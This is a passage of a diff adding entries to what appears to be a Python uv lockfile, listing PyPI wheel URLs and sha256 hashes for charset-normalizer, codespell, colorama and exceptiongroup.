"https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "codespell" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = 